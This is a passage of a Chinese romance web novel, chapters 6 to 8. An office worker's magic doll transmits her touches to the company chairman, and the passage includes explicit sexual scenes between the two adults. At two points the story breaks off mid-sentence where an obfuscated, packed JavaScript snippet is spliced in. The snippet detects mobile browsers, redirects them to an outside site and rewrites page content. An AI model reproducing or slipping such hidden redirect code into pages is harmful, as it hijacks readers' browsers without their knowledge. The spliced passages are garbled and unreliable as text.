这种身材被抱炒应该很爽吧。 平时总是穿着西装看不出来,想不到他不穿衣服时,身材的性张力这么强。 但她态度坚决,这次一定要忍住。她要让沈决远也尝尝什么叫做爱而不得。 然而下一秒,她这周的工作安排由新任部长亲自发到她的手机上。 ——下周董事长要去白沙湾岛出差,你作为助理陪同。 ——私人的生活助理。 池溪高傲的冷哼一声,还不乖乖地开始倒贴了。 不过她显然忘了自己说过的那句完整的话是什么了。 ——对她欲求不满,同时还要不分场合地勾引她。 6. 第六章 池溪为下周去白沙湾岛做足了准备。她上网查了很多攻略,但关于这个岛的信息基本上没有什么记录。 显然这是一个私人岛屿。 虽然不清楚生活助理需要做什么,但池溪认为既然是工作,就应该认真完成。 下午有人送来下午茶。 “沈董让人在楼下的咖啡店定的,只有咱们部门有。” 公司会有下午茶,但都是由后勤部负责。 这还是董事长第一次亲自给员工点下午茶。 一群人受宠若惊地捧着手里的咖啡,重要的不是咖啡,而是藏在其中的某种讯号。 看来部门有好事情要发生了。 “说不定是策划案终于通过了!”被加班折磨的微微在池溪耳边兴奋道。 当然不可能是策划案通过,按照沈决远上次辞退部长时说的那些话,他应该已经动了将整个策划部门这些‘垃圾’全部打包扔掉的想法。如果短期内还是不能让他看到他们的价值,迟早的事情。 下午茶当然是池溪‘让’沈决远买的。 这叫合理利用(*^_^*) 池溪喝完那杯牛马咖啡继续充当牛马。她素面朝天,头发随便用鲨鱼夹固定住,半个小时前不知道是谁往她的工位放了一封情书。 措辞很恶心,并且没有署名。 她随手揣兜里了,打算晚点去查下监控,看下这封恶心的情书是谁写给她的。 半个小时后,用餐时间到了。几个同事聚在一起谈论待会要去吃什么,池溪本来也打算加入。 米歇尔的到来打断了这一切。 她是沈决远的秘书,法国人,长得很漂亮。五官精致立体,身材高挑性感。 总是穿着一套深色职业装,笑容滴水不漏。 听说她在北欧时就是沈决远的秘书,这次沈决远回到国内,将自己的精英团队也一起带了过来。 公司里的同事私下都在传,米歇尔和沈董有一腿。 池溪不太喜欢这种言论,漂亮的女性在职场上似乎总是更容易遇到黄谣。 不过米歇尔似乎并不在意。 此时站在部门外面,敲了敲门:“池溪小姐,沈董让你现在去一趟他的办公室。” 一时之间,办公室内所有人的目光都放在了池溪身上,带着同情。 池溪更是吓到脸色发白。 又我? 她双腿打颤:“沈董上次好像说了,策划案可以往后推迟....” 与其让她去沈决远的办公室进行工作汇报,她宁愿现在就离开公司。 不走楼梯也不坐电梯,直接从八楼往下跳。 宁愿去死也不愿在公司单独面对沈决远,足以可见他有多可怕。 那些人说他是冷面阎罗完全没有任何夸张的成分。 米歇尔笑了笑;“放心,沈董只是让你和他一起吃午饭。” 办公室内的人听到这句话纷纷停住。都用一种十分怪异的表情看着不得不起身跟随米歇尔一起离开的池溪。 很显然,每个人都在疑惑,池溪什么时候和沈总走得这么近了。 甚至亲密到可以一起吃饭? 只有角落里的齐正全程低着头,一言不发。 那天晚上发生的事情历历在目。他没办法用池溪或许是沈董的妹妹这种想法来说服自己。 因为当时沈董眼中的表情,分明是一个男人对于女人的占有欲。 再次来到董事长办公室,池溪所感受到的只有无穷无尽的压迫感。 她知道,这种滔天的压迫感全都来自于坐在办公椅上的那个男人。 身后的落地窗是北城最开阔的景色,高楼林立。 从这里往下俯瞰,整个世界都像是一个巨大的棋盘,那个高楼是一颗颗棋子。 她想,这种地方很适合办公室play。 尤其是趴在高楼的玻璃上从后面... 因为是高楼,所以不用担心会被人看到。 而且工作时的沈决远在她看来是最迷人的,那种不加掩饰的野心让他更加性感。 她猜想,他答应沈伯父的请求回国替沈司桥收拾烂摊子,一定存在其他目的。 而这家公司,他放在这里的心思也不多。 楼顶的停机坪,他的私人飞机一个月内,几乎只有一周的时间是停在那里的。 至于其他时候他在哪里,北欧?北美?东南亚? 池溪当然不知道,她甚至连沈决远具体的‘可怕’与‘强大’之处都不清楚。 但那些身处高位,平日里威严沉肃的长辈都对他态度谨慎,足以可以看出应该非常不简单。 不过好在池溪有着非常充足的和他一起吃饭的经验。 虽然这是第一次二人独处。 今天的午餐是日料,不像是家里厨师做好后送来的。 虽然食材新鲜,无论是刀工和摆盘也很完美。但和家里的厨师做的相比,还是差了一些。 应该是在附近的日料店随便点的。 池溪心里想着色色的事,吃饭也没什么胃口。 所以他这是已经开始勾引她了吗?看来也不怎么高明嘛,还以为他会继续色诱。 她还挺期待的。 希望吃饭只是顺便,真正的‘正餐’留在后面。 如果是办公室Play就好了。——她贪婪的想着。 池溪吃了口金枪鱼刺身,口感很好,不知道沈决远的口感怎么样。 肯定没有金金枪鱼这么软糯,他的肌肉硬邦邦的,啃起来估计咯牙。 嗯....听说胸肌不发力的前提下是软的。他那么大,应该手感口感都不错吧。 她看了眼还在处理工作的沈决远。 米歇尔将她送进来之后就离开了,沈决远头也没抬,让她先吃,然后就忙自己的,没有再和她说过一句话。 虽然觉得部门那些人不该随便传播别人的谣言。但池溪难免会好奇米歇尔与沈决远之间的关系。 她似乎跟了他很久,至少两年时间肯定是有的。 否则以沈决远吹毛求疵的挑剔性格,不可能也将她一起带来中国。 想到米歇尔专业的工作能力,又想到自己,池溪抿了抿唇,嘴里的刺身也开始变得没味道起来了。 沈决远究竟知不知道米歇尔喜欢他? - 池溪吃饭的时候频频抬头偷看沈决远。 毕竟有一个词语叫做秀色可餐,他的‘美色’显然比这份昂贵的日料好吃。 他今天是背头,和他身上这身矜贵绅士的西装很适配。 没有丝毫遮挡地露出那副极具侵略性的立体骨相。 眉眼低垂时,冷淡的压迫感让人不敢靠近他。 办公室内的灯并没有全部打开,此时靠近他那里的只有一盏壁灯。 他刚好坐在背光处,低头时,光影被他轮廓分明的脸部线条切割,形成了对比强烈的明暗。 因此,池溪无法看清他此刻是什么情绪。当然,通常情况下是没什么情绪的。 他给人的感觉总是很淡,那种运筹帷幄的淡,居高临下的淡。但他身上浑然天成的儒雅很好的中和了这份淡。 电脑里正在播放对方远程发给他的模拟运作视频,采用了公司最新研发的功能。 办公室内很快就有客人到访。 是一位身材高大,气质出众的男人,但他长的有点风流。 如果是在其他地方看到他,池溪的目光毫无疑问的会被他吸引。 但很可惜,他首次出现在她的面前,是和沈决远一起。 因此被衬托的有些平庸了。本该盛气凌人的气场居然也变得质朴。 沈决远身上沉浸着一种典雅醇厚的气质,像酒窖内珍藏多年的红酒。不需要可以彰显,独特的优雅与阅历便自然渗透。 john近些年一直在北美待着,那边的新项目开发,本来应该沈决远亲自去盯着的。毕竟是近期的重点项目。 可他暂时走不开。 沈决远垂眸,对方立刻会意,将合同双手递过去。 他取下嘴边的雪茄,不动神色地将手中那份合同点燃, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016376|194198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着它静静燃烧,直到差不多了,才将其扔进一旁的烟灰缸中。 刚才的合同已经化为一摊灰烬。 他淡声提醒:“类似的事情,下次还是等我回挪威了再谈。既然在中国,还是要遵守这边的法律。” 对方笑容谄媚:“这件事在中国也是合法合规的,您放心,我这就回北欧准备。私人航线我已经提前申请好了,到时候您可以直接过去。” 于此同时,他看了眼坐在办公室内的那个年轻女人。 沈决远将雪茄放在烟灰缸的凹槽之中:“不用担心她。” 对方立刻露出一个会心的笑。 看来是Eli先生的爱人,并且是非常亲密的爱人。否则以他谨慎的性格,不可能做到如此放心。这还是第一次在谈论此类事情时,他允许旁人在场。 john早就认为Eli先生应该找个伴侣了,床伴也行。 有时候,遇到一个床上功夫好的女人,比谈成一桩生意更爽。 事实上,他们交谈时说的俄语,池溪一个字也听不懂。 她只能乖巧地坐在那里,偶尔向那边投去一个好奇的眼神。 那个金发老外似乎在讲述什么,沈决远坐姿松弛地听着,肩背舒展。偶尔慢条斯理地抽一口雪茄,神情淡漠。 腾升的薄雾里,他的神情显得更淡。 淡到让人觉得,他不经意看过来的视线是在看路边不起眼的垃圾。 正好被他看到的池溪:“......” 是怎么把那个娃娃拿出来的,池溪已经记不清了。 她只知道等她反应过来的时候,娃娃就已经在她的手上了。 哎呀,怎么能这么不小心呢。 既然都拿出来了,总不能就这么放回去吧。(*^_^*) 秉承着‘来都来了’宗旨,她伸手捏了捏娃娃的脸,同时在悄悄观察沈决远。 他并没有太大反应,甚至看不出任何情绪上的变化。 只是眉头微微皱了皱。 与他一桌之隔的男人显然注意到了,他停下来,显得有些紧张:“是有什么地方出现了疏漏吗?” “没有。”沈决远只是抬手掸了掸雪茄灰,“继续吧。” 有了他的发话,对方便接着刚才的讲。 不远处的池溪看到有所成效,像是发现新大陆。 她好像还没亲眼见过这个娃娃的威力,原来是实时感应的,比手机还灵敏。 甚至不受信号影响。 如果是在深山老林里,还可以用它装鬼吓唬沈决远。 虽然这个男人不见得会怕鬼。 估计鬼更怕他。 她又伸手戳了戳他的屁股,时刻关注对方动向。 男人深呼吸,将眼镜摘了,又揉了揉眉心。 池溪越玩越兴奋,她知道自己现在很小人得志,但这种乐趣只有体验过的人才会知道。 平时高高在上、傲慢的统治者,此刻仿佛变成了一个巴掌大的娃娃任你拿捏。 捏捏他的脸,再挠挠掌心,戳戳屁股,最后...... 她眼底浮现一丝狡猾笑意,将手伸向某个地方。 “嗯...” 一阵闷哼在诺大的办公室内响起,男人的西装已经被充血的肌肉绷的很紧了。沈决远强大的克制力让他很快就恢复了从容与平静。 不过他颈侧暴起的青筋在无声诉说着,他用了多大的气力将这股突如其来的异样感压下去。 池溪毫不怀疑,如果此时没有那张办公桌当着,他们都能瞬间注意到迸发的高胀。 毕竟沉睡状态都如此显眼,当下更加.... 或许是效果太好了,池溪有些得意忘形。 “池溪。”在她想要继续时,一道低沉男声打断了她。 男人眉眼微抬,那双深色眼眸情绪难辨。 这似乎是沈决远第一次喊她的名字。 带着某种警告。 “过来。”他摁灭雪茄。藏在平静语气下的,是不容置喙的强硬,“把你手上的东西也拿过来。” 7. 第七章 谢天谢地。 十分钟后,池溪从他的办公室出来,有一股劫后余生的感觉。 她无比庆幸那个娃娃没被发现。 否则她真的要小命不保了。 ——她将娃娃塞进兜里,把那个人写给自己的恶心情书递给了他。 “我刚才在看这个。” 或许沈决远知道自己在撒谎,但好在,他没有拆穿她。 她不觉得沈决远是突然变善良了,她觉得他这是开始行动了。 开始为勾引她做准备。 虽然他除了那天给她发了一张露肉照之外,就没有任何勾引的实际行动。 不过这样也好,那天说的本来就是气话。如果沈决远真的每天都给她发一张露肉照,她担心自己的身体会承受不了。 最近发生了很多烦心的事情。父亲的考核期加长了,听说是改了政策的原因。 这就意味着她还得在这个地方多住一段时间。 她实在受不了沈司桥这个傻逼了。 “听说你最近和我哥走得很近。”他的声音带着很欠揍的笑,池溪感受到他话里的嘲讽和恶意,“你可以和你那个倒插门的爹学一学,听说他当初就是因为床上功夫够好,所以才成功入赘豪门。” 池溪觉得,面对他这种人的方式就是装聋。 但事实上,虽然不够准确,但她的确动过类似的念头。 如果能和沈决远结婚,那么她的人生是不是就能发生翻天覆地的改变了? 她觉得自己不是爱慕虚荣,她并没有什么需要金钱来满足的爱好。 她只是缺少安全感,她总是梦想能够有人充满父亲的身份来保护她。 可是在见过自己的亲生父亲后,她的幻想破灭了。 他根本没有作文中,父爱如山的那种伟大形象。 于是她将这份期待投射到强大的沈决远身上。 不是因为他像父亲,而是因为他强大,他的威严,他的掌控,他的权威感。 但沈决远讨厌她,池溪能够感觉到。 并且这份感觉很快就得到了验证。 “我不认为以你的能力可以胜任这份职务。” 在池溪毛遂自荐转去其他组时,沈决远头也没抬地拒绝了她。语气冰冷,不近人情。 池溪觉得自己没骨气,每次面对他时都会害怕。她紧张地捏住自己的袖口,手指都用力到开始泛白了。 但她还是没有放弃这个机会,继续为自己争取:“我大学的专业就是设计,我甚至还得过奖,这是我.....” 她拿出了提前准备好的设计稿,递过去的同时,被男人无情推开。 他终于肯高抬贵眼。 线条凌厉的脸上,眉眼是舒展的,只是缺乏一些人情味:“这些设计废稿,设计部任何一个员工一天就能画出十张来。” 他毫不留情地对她熬了无数个夜画出来的作品进行了点评。 没什么好哭的,池溪。工作上被领导批评是再常见不过的事情。更何况他又不止是对她这样严厉。 他本身就是一个挑剔的人。 在她站在那里,不知道该离开的还是该干嘛的时候,有人敲门进来。 “沈董,这是部长让我交来的合同。” 沈决远伸手接过,粗略地翻了翻便放下了。 沈决远对待别人的态度比对待她要好。 好太多了。 至少他是绅士的。 池溪的眼泪滴在桌子上,她在眼泪被沈决远发现之前提前溜了 不要把弱懦展现给厌恶自己的人,这会成为对方攻击你的武器。 这句话是妈妈教给她的,池溪想,不能被沈决远发现。 可她的眼泪打湿了那份合同,一滴很浅的泪痕,在她离开后,男人看着那个泪痕,沉思了很久。 - 周末两天一直在下雨,池溪把自己关在家里玩了两天的联机游戏。 游戏界面没有经过打码处理的血腥场景十分真实,肠子流了一地。 她把那些丧尸当成了沈决远,一刀一个。 结果第一关就没过去,直接被丧尸给按死了。 然后她扔了游戏手柄就开始哭。 她觉得自己实在太窝囊了,沈决远就像她的天生克星一样。 这个游戏以前轻轻松松就能通关了,可是现在她刚催眠自己把丧尸想象成沈决远,她就在最简单的第一关被丧尸暴捶。 朋友听出了她的沮丧情绪,约她下周去酒吧嗨皮嗨皮。 嗨皮不了。想到这里她更难过了。下周还得给沈决远当什么狗屁的生活助理。 她不知道怎么当。照顾他的生活起居?可她连他的西装应该怎么熨烫都不知道。 而且经过上次的事情后,她暂时没有那么想要见到他了。 池溪不愿意再想,搂着那个娃娃,被子一蒙,睡大觉。 - 这场雨到了晚上甚至有加大的趋势,沈决远是被雨声吵醒的,他睡眠质量一般。 挪威是个极昼与极夜更迭的国家,在那里长大的他,睡眠似乎也被进化掉了一部分。 但是今天不太一样。 沈决远睁开眼睛,下意识看了眼空荡荡的怀抱。 这段时间,每天早上睡醒他的怀里似乎都抱着同一个人。 这种触感很真实,他甚至能感受到她柔软的头发落在他胸口的触感,以及她的鼻息,还有她身上的香气。 他不信鬼神,但最近发生在他身上的事情的确有些离奇了。 深邃的眼眸喜怒不辨,他拉开睡袍看了眼腰上已经结痂的牙印。 最后还是选择了重新躺下。 凌晨四点,还很早。可以继续睡一会。 - 这段时间沈决远不在家也不在公司。 公司楼顶的停机坪,那架黑色湾流g700一个月内只有七天停在那里。 整整一周,池溪都没有见过他。 而他再次出现,是在她得知自己也出现在了裁员名单里的当天。 她不清楚沈决远是什么时候来的。 部门里最后一个同事半个小时前刚走,池溪说她想多待一会儿,反正回去了也不知道该干嘛。 早知道会在这里碰到沈决远,她刚才就应该直接离开了。 这位冷面阎罗的名声真不是白来的。太可怕了,仅仅只是他在公司出现,就能感觉到四周迅速下降的低气压。 他是来视察工作的吗?? 沈决远自然而然地在她身旁坐下,之前在办公室里拒绝她转组申请时的冷淡似乎不复存在。 “人都走光了,你怎么还留在这里。”他淡声询问。 因为他的出现而变得不自在的池溪:“我想留下来多加会班.......” 沈决远假装没有看到她刚刚关闭的求职页面。 她本来已经想走了,但现在董事长亲自坐在旁边监督她加班,她也只能继续装装样子。 “您怎么也没下班?”老实讲,她其实不太敢和沈决远交流,那是一种天然的畏惧。但此时不说话更加可怕。 无边的安静会加重他身上的压迫感与威严。 “不知道,突然就想见一见你。” 男人的头发梳的一丝不苟,锋利的下颚线在不太亮的灯光下,越发深邃。 金丝边眼镜夹在高挺的鼻梁上,低头和她说话时,高眉骨阻挡的灯光让他眼下覆着一层不浅不深的阴影。 他态度平和,但那种居高临下的上位者气场还是压的人喘不过气。 “啊?”池溪茫然地抬起头,以为自己听错了。 “最近经常熬夜?” 他的第二句关心让池溪确信,自己不是幻觉。 她摇头,又点头,手指轻轻捏着袖口:“因为工作的事情....” 她不敢再说下去,担心又像上次那样,听到他冷淡的评价。 “您要喝咖啡吗,我去泡。”她说完就要起身逃离这里,被沈决远拉住手腕拦了回来,他伸手松了松领结,“我不喝速溶。” 好吧。 她又想到之前去书房给他送咖啡,结果他嫌咖啡冷了让她端走。 她一直都记得。 “很晚了,回去吧。”他站起身,自作主张地替她将电脑关了,“招聘网站手机也可以看。” 呃,原来被发现了。 用公司的电脑逛招聘网站的确有些过分,池溪心虚地抿了抿唇,试图解释:“我是因为....我知道裁员名单上有我,所以我才..” “裁员名单?” 让整个部门集体失眠痛苦的事情,对他来说显然是一件微不足道的小事。 他甚至需要花费几秒的时间来回想。 他不以为意:“嗯,但还没有定下来。” 池溪从他的话里听出了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016377|194198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝生机,没有定下来的意思就是,还可以修改? 在她全神贯注思考这些事情的时候,沈决远把她拉到自己跟前,低下头用自己的额头碰了碰她的。 老实讲,池溪的确被这个举动给吓到了。 “今天早上就注意到你不太对劲。”他说。 男人近在咫尺的气息和体温,存在感很强。尤其时他此刻还弯着腰,一只手抓着她的手臂。 她感受到了一种比直接进入更加暧昧的感觉。 他松开她,得出结论,“果然又感冒了。” 池溪觉得自己现在的脸一定很红。那个娃娃,她现在唯一用到的它的地方就是拿它当哄睡的阿贝贝。 她发誓她没有对着它许什么奇奇怪怪的愿了。 因为她总觉得这像是某种意义上的强迫。可是他现在的他态度和上一次她感冒时一模一样。 难道现在已经进化成.....她在心里yy的那些东西都会成真的程度了? 不要啊,她只是压力大的时候在脑子里想想,她不是真的想直接在公司play “那个...那个...我先走了,我想好我房间的鸡还没推出去,呃,蘑菇也有点衣服忘记收了。”她已经害怕到语无伦次,梦到哪句说哪句了。 男人没让她离开,而是问她:“有护理的经验吗?” 池溪不懂他为什么突然问这个,但还是点了点头:“我妈妈去世的那段时间都是我在医院照顾。” “药膏和棉签在你的右手边第三个柜子,打开就能看到。” 池溪仿佛触发了什么听话被动。沈决远命令完,她就听话照做,甚至没想过还有拒绝的选项。 她悲哀的想,像是一条训练有素的小狗,真是天生奴才命。 她按照他说的打开柜子,果然看到了放在里面的棉签和药膏,当她伸手去拿的时候,却发现沙发前的沈决远将身上的衬衫脱了。 露出赤-裸精干的躯体。 她急忙低下头:“那个.......” 她已经认命,她觉得和自己的想法无关。 按照之前几次的经验,无论她想不想,最后还是会做的,甚至会狠狠地做。 她回想了一下自己之前脑子里的幻想:她被‘钉’在落地玻璃上,被迫看着外面的夜景。 她甚至不确定,外面的夜景是不是也在看着她。 而沈决远则站在她的身后。 他结实宽大的躯体从身后将她挡的严严实实。 有助理进来进行工作汇报,他也只是平静地停下来。衣冠整齐地听完对方的工作汇报,然后让他离开。 最后再继续刚才的事情。 池溪说自己想上厕所开始求饶,他也会体贴地抱着她去。 .... 难道沈决远真的毫无反抗的能力吗?他不想做的事情,真的有人或是有东西能够强迫他吗? 思绪飘的有点远,沈决远开口时,她才慢慢回神。 “私人医生过来有些麻烦,你替我上药。”沈决远说。 啊。 池溪微微一愣:“你……受伤了?” “不算受伤。”顿了顿,意有所指,“只是最近身上总是凭空出现一些伤痕。” 池溪的头早就抬了起来,于是在没有任何遮掩的情况下,她看清了他的身体。 比照片里看的更清楚。 那些暧昧的痕迹。不仅是咬痕,还有掐痕和抓狠,明显是出自女人的手。 他的皮肤符合北欧人的白,肌肉遒劲,每一条明晰的线条都蕴含着性张力。他身上有成熟男人独特的魅力。 那些痕迹很明显。 池溪突然很内疚,她不知道会是这样。 她的确偶尔会通过娃娃来发泄对沈决远的怨恨。 但.. 怀着内疚,池溪这次很认真地给他上起了药,没有趁机揩油。 这个咬痕她记得,是一周前被沈决远无视的时候咬的。 还有这个抓痕,这个掐痕...她都记得。 好吧,再次回想一下她动手动嘴的原因,她又觉得情有可原。 如果她有胆子的话,她就直接咬他本人了。 当她替他腰上的抓痕上药时,沈决远毫无征兆地抓住她的手,将她的手指按在抓痕上面。 大小形状,完全符合。 “你可以开始解释了。”他抬眸,眼神了然。 8. 第八章 池溪的甲床比一般人的要小一点。她的手也很小,不是那种细长类型。 学校的音乐课上弹奏钢琴,老师拿她的手举例,先是夸她的手可爱,然后又说,但她这种手是最不适合弹钢琴的。 听到班上同学起哄大笑时,她将手缩回袖子里。 那个时候不知道,几年后她居然因为这双手还有一劫。 她早该想到的,沈决远那么聪明,身上凭空出现的伤痕他不可能毫无察觉。 “每一次都发生在我们见面之后。”他将衬衫重新穿好,运筹帷幄地反问她 ,“你说,会有这么巧合的事情吗?” 池溪觉得自己在这种精于算计的老狐狸面前,根本无处遁形。 她哪怕是撒谎,也到处都是漏洞。他一眼就能看穿。 “我.....” 池溪见过爸爸在他那个岳父面前低声下气的样子。那是她第一次被接回去的时候。爸爸弯着腰,在男人面前赔笑。 而那个男人,穿着一身藏青色中山装,头发梳得一丝不苟,戴着一副银色老花镜,手中握着金色虎头的拐杖。神情很淡,可那种居高临下睥睨别人的眼神还是让池溪感到害怕。 和她胆小与否无关,当那种眼神扫过你时,你会明白什么叫做云泥之别。 这里根本就不是她应该出现的世界。 她应该待在小县城和朋友们继续喝着奶茶逛三福,然后两手空空地出来。 而不是在这里,在这个全北城房价最贵的别墅区,和自己的父亲一起接受他岳父的审视。 “这就是那个孩子?”对方的声音浑厚低沉,中气十足。 “嗯,是的,她比乔乔大两岁。”池溪能够感受到父亲在回答问题的时候,身体在轻微地发抖。 和现在的池溪一样,她的身体同样也在发抖。畏于强权,怂得要命。 池溪想,自己面对的敌人比父亲当初面对的‘敌人’要强大得多。 所以她更加勇敢一点。 沈决远并不着急要答案,他还有很充足的时间,到时候她会后悔没有主动交代。随手将她工位上的笔记本拿过来,修长的手指轻轻滑动控制面板。 池溪能够感觉他的视线正在浏览上方的内容。 电脑屏幕微弱的荧光让他的面目变得清晰起来,尤其是低下头时,鼻梁两侧的双c线很明显。 不得不承认,北欧人不仅身材好,骨相也好。 与沈决远的从容不迫相比,池溪脸上的慌乱正在不断放大。她担心沈决远在她的电脑上看到什么不该看的,只能认命交代:“我的确做了不好的事情,对不起....” “不好的事情?”他终于肯将视线从电脑屏幕上移开。 池溪觉得自己不能和他对视,前任部长那么精明的人,在沈决远面前都吓的像孙子一样。 更何况她本来就怂的挺像孙子。 她低下头,咬了咬唇:“我有的时候会因为...一些事情....对您心存偏见。” 他将电脑从腿上拿开:“说说看,什么事情。” “呃...”池溪的声音越来越低,“之前在您的办公室外,我递交策划案,您在打室内高尔夫,没有理我。还有上次,我替家里的佣人将咖啡端到您的书房,您也没要,嫌弃咖啡凉了,还说我是佣人.....” 听到她的话,沈决远很轻地笑了一下:“这是在向我告我的状?” 她急忙摇头:“没...没有。” 她哪来的胆子。 她的话停下后,室内突然变得安静起来。没有人再开口。 池溪知道,沈决远是在等她主动交代。 这是他给她的最后一次机会。 可是显然,池溪并没有把握住这次机会。她还是选择了逃避,她不知道该怎么开口。 沈决远是个严肃正经的人,这点从他的一些生活习惯就可以看得出来。 他的作息很规律,饮食也偏清淡,平时不苟言笑。 大部分时间他都在往返各个国家,将自己的时间全都放在了拓宽事业版图上。他的野心占据了百分之九十九的他,剩下的百分之一无法平均分配。 所以他没有时间恋爱,更加没有时间培养一些不良嗜好。 某种意义上,他洁身自好,有上进心。 “我之前在天桥上碰到的一个...一个老板,我当时看她可怜,所以...所以才....” 沈决远注意到她的穿着,出声提醒:“把衣服穿好。” 池溪的坦白被打断,她低头看了一眼,这才发现自己的衬衫不知道什么时候滑到了肩膀下面。她里面穿的是一件吊带。 她哦了一声,低头把扣子扣好。看来买衣服不能贪便宜,这个扣子动不动就自己散开。 池溪抬起头,发现男人已经走到了她跟前。他站起身时,那种压迫感是成倍叠加的。她已经被压的动弹不得了。 “还有别的地方...没穿好吗?” “没有,都穿好了。”他的声音低沉而富有磁性,像古典钢琴的质感。 典雅而高贵。 此时这道典雅高贵的声音邀请她去自己的办公室。 他不清楚自己为什么会变成现在这样,像条随时随地都会发情的狗。 这让沈决远对自己充满了失望。 他今天来找她,根本就不是为了追责他身上的伤口是怎么来的。 - 二十分钟后—— “池溪,我希望你是自愿的。”男人的声音从身后传来,一如既往的稳重低沉。和‘噗呲噗呲’的声音一起进入池溪的耳中。 但是此刻,若隐若现的沉重呼吸参杂在其中,因此让他的声音多出了一些撩人的性感。 池溪还是第一次知道这面巨大的落地玻璃窗居然还有加热系统。 她之前好奇的,为什么玻璃没有雾气的疑问解决了。 此时她贴靠在这面落地玻璃前,脸一挤一挤的,压出软软的肉来。 她还有点婴儿肥没有褪去。他们的年龄相差不算小,并且她是他父亲寄养在沈家的。 虽然沈决远并没有拿她当过自己的妹妹。 她的身份,的确不配。 “我是自愿的,我....”池溪的声音更加不稳,哭声都是断断续续的。 她其实很害怕,但现在再想逃也没办法了。是她自食恶果。 只是..她没想过会这么疼。 “你很紧...”顿了顿,他伸手安抚地拍了拍她的后背,“张。” “我只是...有些不适应。”她的眼泪滴到了沈决远的手臂上,他抬起那条手臂递到她嘴边,命令道,“舔掉它。” 池溪抿了抿唇,有些屈辱地伸出舌头舔掉了滴在他手臂上的眼泪。 她想,他一定在嫌弃自己的眼泪很脏。 “哭什么。”他的胸膛贴着她的后背,说话时她能感受到那种震颤感,酥酥麻麻的,像电流流遍她的全身一样。 夜色之中,玻璃窗成为镜子。他稍微退开,看着玻璃上倒映的那张满是眼泪的脸。 “还是很疼?” “嗯。”她不想让他知道哭的真正原因,虽然疼也是一部分原因。 沈决远停了下来,片刻后,他单手抱着她,保持着面对面的姿势,将她抱在怀里:“这样呢,会不会好点。” 池溪很难不感慨,感谢上帝,这辈子她居然还能看到沈决远如此有耐心的一面。 “好一点了....” 听到她的回答后,沈决远继续。 池溪抬起头,刚好可以看见他绷紧的下颚线,他的表情舒展,没什么太大的变化,但喉结在不住的吞咽。她真的很想伸手戳一戳,看这里是硬的还是软的。 应该是硬的吧,将脖颈前的这一层皮肤都顶起来了。顶成了一道性感的弧度。 敲门声从外面传来,胡思乱想的池溪在他的怀里吓得抖了一下。 池溪将请求的视线看向沈决远,希望他别让外面的人进来。 但沈决远无视了他的请求。 他只是将落地玻璃的雾面模式打开,这样就不必担心玻璃折射的画面会被对方看到。 然后说了一声‘进’ 对方推门进来:“valerius先生,北海区块已经谈好了。” 对方说的是英文,所以池溪可以听懂。嗯...虽然听的有些吃力。 “是吗。那就按照预案往下多压几个点。”他把怀里的女人裹紧自己的外套内,黑色的西装外套,面料没有看上去那样硬挺,反而是柔软的,质感很好,还带着男性温热的体温。 池溪很害怕,一动不敢动,生怕被发现。 而沈决远,似乎不打算离开。 他仍旧保持着那个人推门进来时的状态,并没有下一步动作。但这样...反而更加难受,对池溪来说。 那个男人似乎有些为难:“如果那边不同意呢?” “那就换一家。”沈决远回答的很果断。 池溪想,难怪那些长辈们对他的评价如此之高,他的确是个非常有魄力和手段的人。 毕竟能在短期内让这家濒临破产的公司起死回生。 今天用餐时,她听到郑伯母说,沈司桥要回公司了,不过这次沈伯父打算让他从基层做起。 想到这里池溪就心烦,她不希望在公司也能看见那张讨人厌的脸。 “怎么了。”男人用手轻轻戳了戳她的小肚子,低下头,用嘴型无声询问。 或许是她表露出的情绪太明显。 她摇头:“没事。” 说完就愣住了。 呃...她刚刚是不是直接说出来了? 相比她的惊恐,沈决远看上去面不改色,甚至注意到她这双快要瞪出来的眼睛时,唇角不动声色地抬高一抹不易察觉的弧度,连他自己也没注意到。 好在办公室内的另一个人只是静默了几秒钟,装作什么也没听见,继续刚才的问题:“我怕短期内找不到合适的。” “放心。”沈决远运筹帷幄的声音平淡响起,“这种特殊时期,敢和他们合作的只有我们。” 所以,无论愿不愿意,最后都会同意。 他们只有这一条退路。 而作为他们的退路,稍微压榨一下,沈决远觉得这很公平。他是冒着很大的风险在与他们合作。 那个人得到最后指令之后就离开了。 沈决远也终于肯将怀里的池溪放出来。 她仿佛听到了‘啵’的一声。 “还好吗?”不知道是不是池溪的错觉,他的眉眼在此刻变得比较柔和。 “没那么好。”她攀着他的肩膀,“快要吓尿了。” “想上厕所?”他低头问。 池溪顿了顿,呃...应该怎么告诉这个外国人,吓尿了只是一种比较夸张的说法。 “继续吗?现在距离天亮还很早。”他低下头,给了她一个具体的时长。 - 部门里的同事来到公司时,看到池溪吓了一跳:“你今天怎么这么早?” 她知道池溪住的地方不好打车,所以她总是在打卡前十分钟气喘吁吁地跑进来 有几次甚至因为等不到换乘的公交而错过全勤。 现在才七点半。 池溪笑容有些生硬,她伸手理了理自己的头发:“你不是也来的很早吗。” 同事痛苦地指了指桌上的电脑,哀嚎道:“谁让我还有工作没处理完,今天一定要交的。” 池溪用了和她一样的理由:“我也是,还有很多工作没有处理,所以....” 她撒谎了。 她不是来得早,是她根本就没有回去。甚至在半个小时前,她都还待在沈决远的办公室里。 他这个人抽身很快,结束之后就进了浴室。池溪躺在那张大床上感慨,董事长的办公室内居然还有套房,厨房浴室一应俱全。 